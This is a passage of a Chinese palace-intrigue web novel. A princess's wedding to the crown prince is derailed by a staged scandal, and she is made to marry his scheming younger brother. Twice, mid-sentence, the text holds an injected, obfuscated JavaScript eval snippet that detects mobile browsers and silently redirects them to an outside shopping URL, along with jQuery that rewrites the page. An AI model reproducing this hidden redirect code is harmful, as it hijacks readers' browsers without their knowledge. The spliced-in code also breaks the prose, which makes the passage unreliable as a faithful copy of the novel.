而关奂也如愿以偿做了自己最想做的事——成为仲清先生手下唯一且第一位女弟子,日日读书写字,比其余男弟子背书还要熟练。 统一时间得到如此多值得庆贺的消息,朝颜喜笑颜开。 又一次感受到“天生我材必有其用”这句话,果然,上天不会辜负每个全力以赴想做成一些事的人。 仔细想想,她二人如今快乐轻松,也是他们应得的,也不枉二人前半辈子经历过那样多的磨难与折磨。 距太后下葬之日还有不到月余,近亲逝世必定守孝三年,便意味着普桑国王室三年内都不得办喜事。 这便意味着,公主与太子的婚期即将提上日程。 说时迟那时快,朝颜刚看完来信,放下手中竹简,便听见一阵清脆的玉佩声。 抬头便见娄卿旻一袭青色长袍缓步走了进来,腰间所系的玉组佩随着步子衣摆浮动了几下,余光瞥见他手中的竹简。正好奇着,又见他进门后身后还跟着几个穿着官服的宫人,他们依次排着长队进来,恭恭敬敬放下手中几箱首饰便转身离开。 娄卿旻待宫人退出去后,将竹简递到朝颜面前,缓缓开口:“这是衡煜专程让王室宗庙为殿下与太子占卜问卦定下的良辰吉日,除此之外还有些赏赐之物的单子,殿下是否要过目?” 朝颜摇摇头,不甚在意地道:“大人帮我看过便好。” 好事将近,照常人所想,应是极高兴的,可朝颜身份特殊又与所嫁之人没有半分情谊,自是没有半个笑脸。 原本定好及笄之日再大婚,可眼下有些人却是等不及了,亦或者说,无人在意公主及笄之日是哪一天,只在意大婚之日那天国运是否顺昌。 娄卿旻见不得她闷闷不乐的模样,心中无数次生出想要带她离开的想法,可他又确切地知道,他不能。 没办法解决朝颜心中郁结,他只能默默陪她过完这最后逍遥的日子。 正值午时,用膳之际。 娄卿旻心下一横,索性带着朝颜装扮一番后,去鹤扬城最大的一家酒肆“兰亭阁”用午膳。 据城内百姓说,此处是最繁华的酒肆,环境雅致,菜肴更是美味得很。 去时包厢已满,二人便在一处隐秘角落中用膳。 满汉全席上了桌案,朝颜正用得开心,不想一抬头便见到两个熟人。 周韫!衡无倡! 他二人为何会在一起? 近乎快要抛之脑后的记忆重新涌上心头,朝颜脑海蓦地闪出一个猜测。 前世她婚后无子被废后,衡无倡很快便将周韫立为新后,让其享受无上尊宠。 他们莫不是早在衡无倡谋反前便相许一生了? 若不然此刻他们应是不熟识,怎会在一处用膳。 对方似乎也看见了他们,不等朝颜反应半刻,二人便一齐站起身,不请自来,径直站在朝颜桌前。 “不知两位可是华纪来的朝颜公主与娄少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朝颜没正眼看他,随手端起桌案上的茶水送入口中,沉寂了半刻才恍然大悟道:“原来是二殿下,先前确实从未听太子殿下说过他还有个亲兄弟,那日晚宴更是不曾见过,还以为是周小姐家的侍卫,实在是抱歉。也怪二殿下太过神秘,只顾玩乐从不露面,这才让朝颜闹了笑话。” “想必二殿下不会责怪本公主无知吧?”朝颜话语中带着半分挑衅,明眼人是一看便知的。 “这……”周韫本想接话,但被朝颜这突如其来的几句自我戏谑弄得哑口无言,一时不知如何接话,冷了场。 反观对侧坐着的衡无倡,面容淡定,在朝颜一席话毕后,不在意地抬眼,狭长凤眸对上朝颜坦荡的目光,面上似笑非笑,跟着自嘲:“公主所言不全无道理,是我太过贪玩享乐,失礼了。” “既如此,二殿下便不要唤我公主了,我与太子殿下大婚在即,二殿下不如便唤一声王嫂听听,也可让我提前享受一下当人长辈的感觉。” 朝颜这让人出乎意料的话语传至三人耳中,场面倏而寂静。 然衡无倡未被朝颜示威的模样唬到,反而接话;“一切尚未成定局,公主殿下不必急于一时的口舌之快。” 朝颜刹时回神,看向男子的目光警惕起来,“二殿下此话何意?” 衡无倡并未解答,反而撩起衣袍站直身子,向外迈了一步,唇角勾起:“在下还有些私事要处理,公主殿下,娄大人,先失陪了。” 说罢便独自离开…… 目送男人背影离去,朝颜求助似得看向周韫,不料却同样得到一句辞别的话,独留朝颜与娄卿旻二人于原地反复推测。 75. 夺妻之争(五) 婚礼在即,朝颜并无任何喜悦之情。 本该是喜事,但每每想到衡煜那日的逾越举动,她便控制不住作呕,甚至对于嫁到太子府后入住东宫有些抗拒。她着实是不想再过多与衡煜纠缠,但婚后必定少不得见面。 心中隐约有种怪异的预感。 那日衡无倡话说了一半便没了下文,她一直耿耿于怀,日思夜想也想不明白他的话。 什么叫未成定局? 明明事实已经摆在眼前,除此之外她没有别的选择。她暗暗猜测,莫非是衡无倡还有其他谋划?这一切无从得知。 时间一晃,过去半个多月,迎来了一年最热的季夏。 距定好的大婚之日还有三天,衡煜便派了宫人们简单对太子府和驿站都装饰了一番,因先太后之事,他们还在守孝期,一切只能从简。 照普桑礼节规定,新婚夫妇接亲前一日不可见面。 故而太子便早早与朝颜道歉并诉衷肠,还带了赔礼,甚至一而再再而三地讨好她,问她想要什么。 朝颜无法言说,只是接下他的礼物后,默默朝这个心思简单的少年俯身行了一礼。 其实这些虚礼从来都不是她所在意的,所以对衡宿,她只能以礼相待。 而她真正所在意的,早就已经没法得到了。 经过这半个多月的相处,朝颜也了解到衡宿是个诚挚良善的人,心思较单纯,久而久之她心底便生出一丝愧疚,暗暗下定决心日后嫁与他定要好好待他,若将来真遇到什么事,也会保他一命。 * 大婚之日,一切从简。 朝颜又换上那日从华纪穿上的大红色喜袍,带着盖头,被衡宿从驿站接到太子府上,在仆从的指引下,从前到后完成各项礼节,随着一句礼成,朝颜便被拥簇着进了后院婚房,衡宿则在前院陪宾客们喝喜酒。 暮色降临,已然黄昏,自入了季夏后,白日变长,朝颜就端坐在婚房的金丝木榻上等着,等着天色渐渐暗下来。 自白日坐上衡宿派来的轿撵时,她便觉心慌得难受。 而今礼成后该饮合卺酒时,等了许久都未见人来,朝颜心中那抹不适又翻涌而来,她总觉得会发生什么事。 直到房外传出一声女子的尖叫,朝颜受到惊吓,猛地掀开盖头站了起来。 木门“咯吱”一声,朝颜抬眸,恰好对上槐夏神色匆匆的眼神。 许是与槐夏相处久了,只要她身上有半分不好的情绪朝颜都能察觉出来。 槐夏自进门后便一言不发,紧紧拉着她的手,什么话都未说出口。只是带她慢悠悠走出房门,行至婚房不远处一个小院外。 院外聚集了许多人,朝颜一袭大红色喜服在拥挤的人群中亦显得格外注目。 见前面如此热闹,朝颜便更加好奇到底发生了何事。 她踏进院子向人群中靠近,站在一个房间外面,便听见屋内传出娄卿旻那道熟悉的声音,言语极其冷漠,带着一丝威严: “今日本是两位殿下大婚之日,太子竟与旁的女子牵扯不清,未免太不将我华纪放在眼里了!” “不知国君便是这样教导殿下的么?莫不是故意打我华纪的脸面,想挑衅?” 话音落下,一道略带迷蒙的声音从底下传来,朝颜听出是衡宿的:“父王,都是这个女人陷害我的,我根本没动她半根手指!” “太子殿下这是何意?我又不是痴傻之人,怎会用自己的清白做戏?”吵闹人群中,这道女声一出,显得极其突兀。 话音落下,朝颜一步步穿过人群,跟大众挤着一齐站在屋外,便从缝隙里见到一女子穿着凌乱的衣衫,半跪在地面边说边流泪,“还是殿下觉得我是女子,便可随意污蔑我?” 那梨花带雨的模样,让人看后心疼至极,纷纷想上前安慰。 朝颜一下就认出那女子是前些天与衡无倡在一起的那位周大人之女,也是前世顶替自己王后位置的女人——周韫。 然衡宿却不吃这套,恼羞成怒地指着她吼道:“你住嘴!” “莫要颠倒是非!” 众人都在全神贯注地看戏,不知是谁先注意到了朝颜,轻吸一口气后细声细语地说了句新娘来了。 其余众人闻声回眸,见朝颜已经不顾礼节从婚房赶来,纷纷让出一条路,让朝颜走到了这期间众人纷纷朝她投来各式各样的目光,有怜悯,有轻蔑,朝颜就这样被注视着,被迫走到最前方,将里面混乱的场景一览无余。 凌乱的衣衫散落一地,男子喜服与女子裙钗纠缠到一起,彼此的鞋袜也被踢到远处,更有几个零散酒杯被摔到门槛处。 衡宿身上的大红色喜服已经褪去,眼下只着一件纯白亵衣,见到朝颜来了便神情慌乱地瞥她一眼后,迫不及待地跑到她身侧,拉起她的手臂,红着眼解释:“殿下你定要信我,我什么都没做!” “我是真的什么都不知道,你要信我!” 朝颜盯着衡宿全身上下看了一遍,见他脖颈处还有淡淡的抓痕,甚至衣服上夹着几根不属于他的长长乌发,还有那衣襟处的一抹淡红。 此情景,无一不在明晃晃昭示着他所言的“无辜”。 朝颜一时不知如何接话。 大婚之日闹出这种丑事,还是发生在自己已经拜过堂的夫婿身上,她有点麻木,心中虽有疑虑可却反应不过来细想。 新婚被破坏,她还无所适从,此刻问她信不信他,她该如何回答? 娄卿旻看出朝颜当众丢面子的窘迫,忙拉开衡宿的手,将朝颜护在身后,厉声解围道:“本该是太子与公主的大婚之日,太子殿下却在暗处与旁人私通,这事若传出去,公主定会成为众人的笑柄!” “若国君今日无法给我一个解释,外臣是断然不能让我国尊贵的公主与一个如此不识大局的人联姻!” 他这一席话无疑是将群众的目光引到衡煜身上,推着衡煜出面解决。 衡煜黑眸对上娄卿旻凌厉的眼神,心下了然,立刻下令让众人退后数十米且安排侍卫看守太子府,不得将任何一人放出府,免得他们将此事散播出去。 随后便是几人关起门来讨论的家事了。 朝颜有些疑惑,娄卿旻今日反应为何如此反常,难道他也发现了什么端倪? “王上!您定要替小女做主啊!”周韫的父亲周大人看了自家女儿一眼后,也上前跪地哭诉,求着国君主持公道。 一边是自己的儿子,一边是忠臣的女儿,一边还有刚签下友好协议的盟国公主,衡煜眼下左右为难,瞬时被弄得头大。 娄卿旻向来喜欢伸张正义,见周韫那委屈的样子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405661|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便神态严肃地提了个意见:“自古以来女子名节最为重要,今日周小姐与太子被人撞破共处一室,王上如此圣明,自是也需要给周大人一家一个交代。” “娄大人说得有理。”衡煜点头赞同。 一边是盟国公主,一边是肱骨之臣之女,无论哪一个他都不好敷衍了事。 深思了半晌后,他扶着额角无奈提议:“既如此,太子今日便将周大人之女纳为太子妃吧!” 此话一出,有人欢喜有人忧。 而在见证这场戏剧性局面后的朝颜仿佛变成了个局外人,在一侧默默注视着他们的一举一动,直到听到衡煜那句“太子纳周韫为妃”,眉头忽的蹙了一下。 等等…… 这分明与前世不一样了! 周韫不是喜欢衡无倡么?她为何会做这等傻事? 朝颜狐疑,双目紧紧朝着地下卧着的女子探去,见她泪流满面,宛若梨花带雨,特别委屈,有些像是被迫的。 可太子前段时日那些举措分明是对自己极其上心,又怎会突然与周韫纠缠在一处? 这其中到底隐藏着什么秘密? 他们莫不是被人设计了? 想起什么后,她视线转到地上散落的酒杯碎片中,试图找到什么端倪。 哪知她正在这边思考着,一侧的娄卿旻却站出来,对朝穆行了一礼,语气冷硬道: “国君,我王派自小疼爱的公主来贵国联姻可是下了很大决心的,既然此事无法妥善解决,两国的婚约或许可以考虑就此作废!” 话音落下,屋外忽然传来一道熟悉的男人嗓音,语调清冷从容,像是掌控着局势的判官一般,直直闯进众人心间:“这婚约不能作废!” 大门大开,众人闻声,均回首寻人。 朝颜听见那道嗓音后,心宛若受到猛兽怒吼惊吓般,猛地加速跳动起来,随着众人的动作一齐转身,无意对上来人的身影。 来人身形高挑,一身玄衣,周身散发着冷淡之气,倒是比往日谣传的纨绔模样多了几分稳重。 朝颜早在他说第二个字时便识破了他的身份,本不想面对但眼下却根本来不及躲。 于是,二人就这样不着痕迹地对上目光,一人审视,一人疑虑。 不过瞬间,屋子中央那个穿着亵衣的少年便解了众人心中的疑惑,脸红脖子粗地瞪着那道玄衣身影,大喊着:“谁允许你这个卑贱之人来太子府的?你也配?” 衡宿黝黑的眸子紧紧盯着男子看了一眼,像是被打通了任督二脉一般,手指着衡无倡和周韫,语气尤为激烈:“是你!定是你!” “今日发生这种事,定是你与这女子故意设计的!” 明明只差一点,差一点朝颜就可以成为他的妻。 眼下好事被尽数打乱,而最见不得自己好的人就在眼前,他怎么不疑? 话音落下,衡无倡在人群中嗤笑了下,满不在意地瞥他一眼,关上身后门便走到屋中央,随手一撩衣袍,跪在地上对中间的国君边行礼边解释着: “兄长莫要开玩笑,分明是你自己今日喝得太醉,神志不清所以才会在如此重要的日子耐不住性子强掳民女,如今薄了公主殿下的面子,兄长该道歉才对。” “至于兄长自己犯下的过错,与臣弟又有何干系?” 76. 夺妻之争(六) 衡无倡讽刺完自己的好兄长后,便将无辜的眼神转移到衡煜身上,恭恭敬敬问道:“不知父王觉得我说的可对?” 地下的衡宿将他故作乖巧的举动看了个清楚,登时开始反胃,轻蔑地“呸!”了一声,道:“谁是你兄长,你少在这惺惺作态,你个贱妾所生之子,怎配与我兄弟相称!” 无论衡宿说多少恶言恶语,衡无倡眼都不抬,始终保持着对衡煜行礼的动作,淡淡地说:“眼下局势混乱,兄长还是冷静一点为好。” 只是藏在袖中的手早已经被掐得红肿破皮。 “你个贱……” “闭嘴!蠢货!”衡煜忍无可忍,拧眉甩了下衣袖,指着太子鼻子骂了一句。 白率也是来参加宴席的贵宾,从最开始便一直在角落里听着,见混乱的场面快要失控,便主动站到国君面前,低声谏言: “臣赞同二殿下所言,两国婚约不能作废,毕竟二国已昭告天下是盟友关系,板上钉钉的事此时若反悔,岂不是让旁观者虎视眈眈,误以为盟约无效,再趁机钻空子对付我们?” 衡宿听后垂首,“白率先生所言极是。”沉默片刻后又问道:“可如今解决办法是什么呢?” “最好的解决办法……” 白率一边小心翼翼地说着,一边将视线移到身后朝颜与她身侧定立的男人身上,意味深长地看了两眼。 “先生可直言!” 听到衡煜此话,白率宛若吃了定心丸,一把跪倒在地,义正言辞地说:“最好的办法便是对外宣告太子与周氏之女青梅竹马情比金坚,王上为成人之美,特意赐婚他二人。而公主殿下身份尊贵,千里迢迢而来,理当换个同样身份贵重且身心干净的人联姻。” 毕竟先前可从未有过太子一次娶两位正妻的先例。到了衡宿这里,自是不容许。 “如此,既能解了眼下燃眉之急,给足公主面子,也能避免太子与周大人之女的事在外胡乱传播,影响王室脸面。” 此法可谓一箭双雕。 反正对普桑而言,华纪公主嫁给谁都是嫁,与其冒着干政叛国的风险让其嫁给太子做未来的皇后,还不如让其嫁给一个不受宠的纨绔子弟,日后也更便于掌控拿捏。 不言而喻的是,他口中“身份尊贵的人”除了国君与太子,便只能是他身后站得板正的二殿下衡无倡。 白率的话倒是让衡煜起了点别样的心思。 他垂头打量着站在两侧的衡无倡与朝颜,嘴角扯出一丝嘲讽又得意的笑,忽然觉得白率的话也并非不可行。 正思索着美事,却被一道中气十足的怒音打乱了思绪:“岂有此理!” 娄卿旻这声怒喊将众人视线全部引了过去。 只见他眉眼微眯,身上透出几丝冷到彻骨的寒气,锐利的目光一一扫过众人,言语带着不容侵犯的威严:“婚姻大事早已定好,岂能如儿戏说换就换?” 衡煜被堵得哑口无言,白率却不惧怕这个后辈,直接抱拳迎难而上:“这全是为了两国间友好关系而做的修正,娄大人为官多年,见多识广,相信已经在下的提议已是最优之策。” “还是说,大人想让公主当今日之事不曾发生,自愿伏低做小,将委屈打碎咽到肚子里,在旁人的冷嘲热讽中就此过一辈子。” 继而将目光转到朝颜身上,试探道:“或者,公主殿下想成为太子的母妃?” 他在威胁。 闻言,朝颜眉头轻蹙,见娄卿旻沉默着将视线落到自己身上,眼底带着薄薄的肃杀之气,朝颜心下一惊,忙对着他摇了下头示意他别冲动。 毕竟两国刚刚签订协议,万不可轻举妄动。 众人见娄卿旻没答话,便以为同意了。 哪知太子衡宿听完这番话倏而变了脸色,脸黑成一片,撩起衣袍站起来走到白率身侧,大喊道:“白先生,您此话何意?” 普桑除了父王、他与衡无倡,便是那些世家子弟,父王年事已高,万不可迎娶朝颜,而那些世家子弟各个地位低下,并无实权,又怎能配得上尊贵的公主。 推来选去,最后还不是落到了衡无倡那里,凭什么? 一想到自己费尽心思求来的姻缘会白白便宜衡无倡,衡宿满眼悔恨,怒火中烧,满心怒气无处发泄,一把上前揪住衡无倡的衣襟,不管不顾怒吼道:“说,是不是你设计的?” “兄长此言何意?臣弟听不懂。” 衡宿:“你少在此处装模作样,别以为我不知晓你也对朝颜公主动了心思!你算什么东西?你也配?” 此刻的太子早已失了理智,满脑子都是不服气。 可纵使被他说成这样,衡无倡身上没有半点慌乱,反而面带微笑,坦荡地接话承认了:“公主殿下仙人之姿,臣弟就算动心也是情有可原。” “况且明明是兄长自己不懂得珍惜,坏了这门好亲事,与臣弟又有什么干系?” 他一边说着,一边用力将自己的衣襟从衡宿手中扯出,后退一步,在暗处回了他一个轻佻的目光。 衡宿被激怒,破口大骂,衡煜便唤侍人将这个不成体统的太子控制了起来。 其实衡煜方才也注意到了衡无倡对衡宿的不敬之举,只是他没作声,用探究的目光盯着衡无倡看了许久,随即冷哼一声,借着白率的话说了下去:“若不然就按白率先生所说的办,公主与我的小儿结亲,不知公主意下如何呢?” 话又送到朝颜这里,此刻她是应也得应,不应也得应。 其实衡煜身为一国之君,并不在乎谁娶自己,他要的是两国联姻必须成功。而朝颜也没有必须要嫁给太子的要求,只是来时说了,太子心悦她,故而她也没理会其他,便任人摆布了。 眼下虽是给了她自己选择的机会,可还是没得选。 思量片刻后,朝颜轻轻道了一声“好”,应下此事。 “可是!”那边被抓着双手的衡宿还想继续说什么,衡煜却一巴掌打了上去,呵斥道:“你个蠢货!还敢吵闹,我王室的脸面都被你丢尽了!给孤滚回东宫面壁思过!” 清脆的巴掌打下去,衡宿整个人都呆愣住了,捂着脸站在一侧没再敢多说一个字。 看着父王不怒自威的面容,他眼底只剩下胆怯,他害怕自己再多说,连太子之位都无法保全,只能灰溜溜地在侍人的陪同下先离开屋子。 在经过衡无倡时,恶狠狠地瞥了他一眼,似乎在用眼神告诉他:夺妻之仇不共戴天,日后必报。 将衡宿送离,衡煜转头便换上一副慈父的模样,对朝颜垂了下头以示歉意:“今日之事是我儿有错在先,还望公主莫怪。今日的喜宴就当是孤对你们的接风宴,等改日找了黄道吉日我再为你与我小儿办一次婚宴也不迟。” “……” 看着此人一副虚情假意的模样,朝颜面色冷漠,忆起那日被他纠缠的事,心里都在作呕,后退一步甩了下身上繁重的衣袖,淡然开口:“不必了。” “既已行过礼,便就此作罢,旁人只是凑热闹,也不会在乎公主所嫁之人是谁,只希望日后莫要再出现类似的事。” 见经历了几番周折,仍旧改变不了嫁给衡无倡的事实,她便准备接受自己的既定命运,也不会再去惧怕任何人。 她坦然的目光明晃晃落在衡无倡身上,面无表情地盯着他,跟众人表明了态度:“至于我与二殿下的婚事,不需要闹得人尽皆知,眼下普桑正值孝期,一切从简即可!最近几日我便住在驿馆,等过几日平息了风波,我再搬进二殿下府上。” 不办婚礼便能省下许多银钱,衡煜何乐而不为,自是赞同:“那便依公主的意思办。” 他们出门后,屋外凑热闹的人群已经被驱散得一干二净,只剩下几个侍卫和周家亲眷。 天已昏暗,诸多人影里,朝颜只一瞬便寻到衡无倡那道精瘦的玄衣背影,她垂眸深思,衡宿方才那一番话倒是让她想起来,此事的得益者只有衡无倡。 许是前世足够了解他的为人,她现在接受了自己无法改变事实后,便不再那么害怕他。反而是有点好奇,有点感兴趣,她想知道他这么做到底是在谋划什么。 不过既然他想娶她,那她便遂了他的意。 只是可怜了周韫和衡宿,被硬生生凑成一对。 她自己深想着,步子迈得很慢,也没注意到一侧娄卿旻的神色愈来愈冷,直至看到惹人生怜的周韫软着脚被侍人们搀扶着走向她方才来时的方向,才悠悠回过神。 她抬眸望向娄卿旻,看不清他的神情,只是还未开口便被他一句淡淡的“先回驿馆。”给堵住了口。 二人一前一后在太子府后门离开,上了衡煜早就帮他们备好的马车。 驶入驿馆后,天已经黑得彻底,入目不见五指。 “殿下为何要同意这件事?”娄卿旻开门见山。 他忍了一路,就想问她为什么要同意嫁给那个看起来就对她图谋 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想着想着,娄卿旻皱了皱眉头,一脸怜惜地看向她,最终还是忍住了再责怪她的冲动,只是故作矜持瞥开眼,低头轻声呢喃着:“你怎知我就不愿?” 朝颜没听清,“什么?” 娄卿旻却摇摇头,暗自抿了一口已经凉透了的茶水,将苦涩全部咽下,再也没有开口。 她总是这样,为所有人着想,唯独不考虑自己。 她根本不知道,方才在太子府上看到她因委屈震惊而愣神的那一瞬间,他甚至都做好了带她离开的准备。 眼下事已成定局,他只能走一步看一步,在离开普桑之前调查清楚那人的真实目的才能更好保护朝颜。 * 送走众人后,衡煜走到关押太子的书房。 “父王父王!”衡宿哭诉着:“您明知儿臣喜欢那朝颜公主,为什么要同意她嫁给衡无倡?这一切明明都是他算计的!” “你个蠢货!若非你贪杯,又怎会被人设计!” “父王既然知晓真相,为何不站在儿臣这边?” 看着衡宿这幅要死要活的模样,衡煜就气不打一处来,他腿一抬,将人甩了出去,皱眉怒道: “大丈夫怎能一直顾念儿女私情?今日之事便是告诫你,你想要什么都要靠自己争取,而不是做个被你母亲庇护一辈子的傻子,最后死在旁人的算计中!” 衡宿委屈至极,大喊一声:“父王!” 知晓这个儿子多半日后继承不了大统,衡煜便难受至极,气得背过身不再看他,言语极其冰冷:“滚回去面壁思过,没孤的命令不许踏出太子府半步!” …… 是夜,万籁俱寂,了了无声。 议政殿内,燎亮的烛火点燃了眼前的方寸之地,衡煜在桌案前静坐着批阅奏折,时不时眯着眼看向殿中跪着的玄衣身影,不知过了多久,终于微微勾唇:“你倒是让孤刮目相看啊!” “这些年冷落了你,可有怪孤?”他缓慢走下高台,轻轻按着年轻男子的额头将人抬起,直视他的眼睛,轻声问着。 衡无倡不反不抗,微微摇头,“不曾。” “哦?”衡煜疑惑,低着头在身下这道影子上端详了许久,这张瘦弱到棱角分明的脸一半映在烛火里,一般藏在暗中,有点掩人耳目的意味。 本想从他面上找出些撒谎的破绽,可寻了许久也没找到半点蛛丝马迹。 “若非父王当年在冷宫赐给儿臣那块饼救了儿臣的命,想必今日儿臣也不会安然无恙站在此处!” 衡煜有点想不起往事,只是对自己这位儿子有点满意,在他身侧绕了一圈后,托着下颚道:“容貌不错,随了你母亲,但性子倒像是随了孤。” “随王上有何不好么?儿臣觉得很满意。”衡无倡这些年在外与人虚与委蛇,一惯会拍马屁。 衡煜忽然想起早前已经将这位二殿下与他的生母从族谱除名,眼下若真要娶华纪公主,那就只能恢复他的身份。 他不是个喜欢藏着掖着的人,故而直接道出衡无倡的目的:“就算孤今日允你娶了华纪公主你也不能青云直上,你要清楚,她只是你回宫的一块垫脚石而已。” 衡无倡垂眸,跪在地下,毕恭毕敬对眼前人拜了一礼:“谨遵父王教诲。” 昏暗处,无人察觉出他唇角扯出一丝冷笑,冰得渗人。 77. 旧忆重现(一) 幽篁之夜,万物沉寂,寥无声息。 窗沿下的几坛夜合花花瓣上携着几滴露水,在风中摇曳生姿。金黄花蕊开得正盛,清香四溢,传得很远,直入屋内人的鼻尖。 皎洁月光透过窗缝照进屋内,将大红色床帐衬得比血还红,床帐一侧坠着几条由红线系好的银铃,风微动,铃随之鸣响。 榻上传来阵阵急促的喘息,还有拳脚相抵的嘈杂音。 男人带着情欲的眼神在女子面上扫过便直达那抹柔软的红唇,不顾女子反抗便将其抓住一把按在床上,一手捏着女子的下颚,一手禁锢着她的双手。 女子用力反抗未果,抬眼撞入一道带着怒火的凤眸,便听到男人占有欲十足的言语:“你是我的妻!” “我想做什么便做什么!” 女人怒目圆睁,皱了下眉,忽然安静下来。 见状男子放松警惕,女人便趁其不备,一脚踢向他的身下,重伤男人,嘴上还咒骂了句:“滚开!离我远些!” 男人表情痛苦,捂着受伤的腹部退开些距离,女人便迅速推开他,直接光脚下榻,提着衣裙用尽全身力气向门外跑去。 眼前漆黑一片,背后时不时传来阵阵喊叫,她费尽心思想逃出生天,却只能无助地在他为她打造的茂密竹林里不断打转。 脚上满是泥泞,衣裙也被枝杈划得破烂,女人盯着眼前黝黑的囚牢,绝望回头。 一张带着血渍的凤眸停在她面前。 “朝颜。” 他的声音恍如鬼魅,紧贴在耳旁,说着极致恐怖的话语:“别挣扎了,你无路可逃。” 只一句话,她就浑身起鸡皮疙瘩,惧意横生,像被一只猛虎扼住喉咙般,喊不出声,只能任由他摆布,直至窒息而亡。 她试图张大红唇呼救,却发现身子紧绷得宛若木头,根本没法动弹。 终于无法忍受这场折磨,她刷的一下用力睁开双眸,身子登时坐直,薄薄的衾被从肩上滑落,她仍觉得自己被巨大的重力束缚住无法逃脱。 看见眼前半明半暗的屋子,没有那刺眼的红,也没有那鬼魅之音,静到极致,她才恍然大悟,方才只是一场梦。 可男人抓着她腕子的手是那样强硬有力,那种想逃又逃不掉的感觉如此真实,好似真的发生了一般,她开始后怕。 额上冒出细密的冷汗,顺着面颊滑落至眼底,她被迷得眨了下眼皮,随即拿着枕下的帕子抬手擦拭干净。 微微湿润的帕子好似在警醒她那段不堪回首的往事,尤其是在确定自己躲不过既定的命运,还是要嫁给衡无倡时,她无所畏惧的心就已经被逼得溃不成军了。 连着几日被噩梦缠身,疲惫至极,她暗道自己真没出息,居然被他的求娶吓得不轻。 她轻轻摩挲着帕子,随后摆脱污秽般将其丢到地面,深深叹了一口气。 * 朝颜刚挣脱了梦魇,醒来头脑还未清明,便听见外面一阵躁乱。 她唤槐夏进门,一阵支支吾吾过后,才听到让她惊讶的消息,陈诗一大早被王后的人请入宫中做客了。 她眉心跳了跳。 王后衡宜珖? 朝颜不禁想起这个前世对衡无倡影响最大的人,她最后的结局并不好,也是促成衡无倡从良善少年变成杀人不眨眼的恶魔的罪魁祸首之一。 她爱子心切,对太子衡宿几乎是有求必应,所以在她费尽心思想保住自己孩子的太子之位而设下天罗地网欲杀掉衡无倡时,她必死的结局就已注定。 可明明前世她对衡煜的态度总是若即若离,甚至还在临死前咒骂衡煜一句淫.贼,怎么如今也开始为衡煜办事了。 朝颜明白,若非衡煜存了不正的心思,在背后为她撑腰,衡宜珖再如何能耐,也是会给自己几分薄面的,哪里会像现在一样,随随便便就把她的人带走。 依稀记得前世最后一次见衡宜珖是在衡无倡登基的半年后,那日他忽然唤自己去大殿上,本以为是有要事相商,不料她刚入殿门便见大片群臣跪倒在地上。 最中间跪坐着的却是原本被封为太后的衡宜珖。 那时的她已全然没有往日的风光,衣衫尽乱,发钗歪歪扭扭地别在发髻上,抬眸看着高位上坐着的新王,口中吐着难以入耳的污言秽语:“果然是老贱种生的小贱种,跟你那个淫.贼父王一样冷心冷情,如此丧心病狂弑父篡位,现在还要杀了本宫,你不得好死!” 闻言,朝颜抬眼向上看去,高位上一袭玄色龙袍静静坐着的衡无倡在听到这些话时,面上没有半点表情,他似乎对这些谩骂已经麻木了,根本不在乎。 殿内鸦雀无声,衡宜珖连续不断谩骂声清晰地落入每个人耳中,许是终于烦了,衡无倡终于蹙了下眉,用力捏了捏手上的玉扳指,勾着唇道:“孤如何死你这辈子怕是无缘再见了。” “只希望母后来世莫要做人了,做个牲畜被一刀宰杀,也不会受这么多年的罪。” 衡无倡故意将‘母后’二字咬得紧紧的,眼底满是对女人的嘲讽。 或许旁人不明白他为何要将先王后处死,以为是对旧势力的打压,只有他自己知晓殿中跪着的这个人面兽心的女人曾经为了自己的孩子,对他下过多少次黑手,若不是他命大,早已命丧黄泉。 或许这就是他冷心冷情的缘由。 而朝颜直至被关入冷宫后,才知道衡宜珖死前所言的“冷心冷情”是真的。 衡无倡的心根本装不下任何人,只能装得下他对俗世的贪欲。 但到底是与衡无倡相伴许久的夫妻,她清楚他虽爱权势,但也并非黑白不分之人,由此看来,衡宜珖确实在背后做了什么,让衡无倡一直铭记到朝政稳定之后才处置她。 又或许,衡宜珖的所作所为全靠高人在背后指点。 而这个高人,不是旁人,就是国君衡煜。 想到此处朝颜就有点慌了。 回忆结束,眼下当务之急更是要快些入宫将陈诗救回来。 * 朝颜心急如焚,命槐夏寻了匹快马便直奔国君常住的寝殿华阳宫,经上次一事,大部分守门侍卫都识得她,见人来势汹汹,作势拦了几下便以拦不住为由放她进了宫门。 内殿门口守着个监人,是衡煜身侧受宠的那位。 见朝颜一副盛气凌人,谁挡杀谁的姿态,生怕自己招架不住,连忙大喊:“殿下!殿下!” 他故意喊得声音很大,试图让自家王上出面解救自己。 “殿下,您不能进去,王上正在休憩!” 朝颜眯着一双好看的眸子在监人身上扫视,身上杀气都快挡不住了,大喊一声:“都何时了,还休憩?” “你个满口假话的老奴,怕不是留了什么歹人在殿内,小心伤了父王,回头本殿下拿你的项上人头替王上做祭!” 朝颜之所以称呼衡煜为父王,也是想以儿媳的身份自居,恐吓这些下人。说完这话后,她一抬手,将马鞭甩在监人身上,那架势似要将人即刻打死似得。 监人被鞭子挥到,身上又痒又疼,登时吓得扑倒在地:“殿下,您不敢信口雌黄啊!奴……” 此刻内殿忽然传出咣当一声,貌似有什么东西落地了,紧接着就是男人不耐的声音:“废物东西,还不放人进来!” 话音落下,朝颜扔下鞭子绕过监人,马不停蹄推门入殿。 殿内微暗,四周萦绕着淡淡药香,与上次她所中的药有相似之处,朝颜抿唇屏吸,向内殿探去,男人在床榻上坐着,而他前方不远处一块桌案旁的地面碎了大片蓝绿色琉璃盏。 可仔细观那放盏的位置十分靠里,显然是被人有意碰到的。 朝颜猜测陈诗就在这儿,只是不知衡煜将人藏到哪了。 她没说话,衡煜却开口问罪:“公主殿下待嫁之身,不在驿站待着,一大早就无召硬闯王宫,究竟意欲何为?” 